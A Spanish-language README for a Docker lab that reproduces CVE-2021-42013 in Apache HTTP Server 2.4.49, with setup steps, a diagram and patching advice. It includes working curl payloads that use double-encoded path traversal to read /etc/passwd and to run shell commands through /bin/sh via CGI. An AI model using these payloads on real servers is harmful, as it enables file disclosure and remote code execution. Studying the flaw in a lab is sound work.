
Laboratorio que demuestra la vulnerabilidad de Apache HTTP Server 2.4.49 (CVE-2021-42013) en un entorno Docker.
En este proyecto mostré la vulnerabilidad CVE-2021-42013 presente en Apache HTTP Server 2.4.49 en un entorno de laboratorio que creé usando Docker.
El objetivo es examinar en un entorno controlado cómo se origina la vulnerabilidad, cómo funciona y cuáles son sus efectos sobre el sistema.
Este trabajo ha sido preparado únicamente con fines educativos y de laboratorio.
.
├── Dockerfile
├── index.html
└── README.md
Antes de ejecutar el proyecto, deben estar instalados los siguientes elementos.
Primero, descargue el repositorio en su computadora.
git clone https://github.com/berraesen/apache-cve-2021-42013-lab.git
Entre en la carpeta.
cd apache-cve-2021-42013-lab
Cree la imagen de Docker.
docker build -t apache-2.4.49-src .
Inicie el contenedor.
docker run -d -p 8081:80 --name apache-src apache-2.4.49-src
Entre dentro del contenedor.
docker exec -it apache-src /bin/bash
Compruebe la versión de Apache.
/usr/local/apache2/bin/httpd -v
Para salir del contenedor:
exit
Puede comprobar si el módulo CGI está habilitado con el siguiente comando.
docker exec -it apache-src /usr/local/apache2/bin/apachectl -M
docker exec -it apache-src sed -i 's/#LoadModule cgid_module/LoadModule cgid_module/g' /usr/local/apache2/conf/httpd.conf
Después, reinicie Apache.
docker exec -it apache-src /usr/local/apache2/bin/apachectl restart
Para deshabilitar el módulo CGI:
docker exec -it apache-src sed -i 's/LoadModule cgid_module/#LoadModule cgid_module/g' /usr/local/apache2/conf/httpd.conf
curl.exe -v --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd"
curl.exe -v --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data "echo; id"
Para ver más información del sistema:
curl.exe -s --path-as-is "http://localhost:8081/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" --data "echo; id; uname -a; whoami" -o -
Después de completar la instalación:
Cliente (cURL)
│
▼
Apache HTTP Server 2.4.49
│
▼
Error de Normalización de URL
│
▼
Path Traversal
│
├──────────────► CGI Deshabilitado
│ │
│ ▼
│ El acceso a archivos puede ser posible
│
▼
CGI Activo
│
▼
/bin/sh puede ejecutarse
│
▼
Ejecución Remota de Código (RCE)
Para poder demostrar el escenario de RCE, es necesario habilitar el módulo mod_cgi.
Para corregir esta vulnerabilidad, se recomienda actualizar Apache HTTP Server a la versión 2.4.51 o una más reciente. Además, si no se utiliza CGI, se recomienda deshabilitarlo y definir permisos de acceso adecuados únicamente para los directorios necesarios.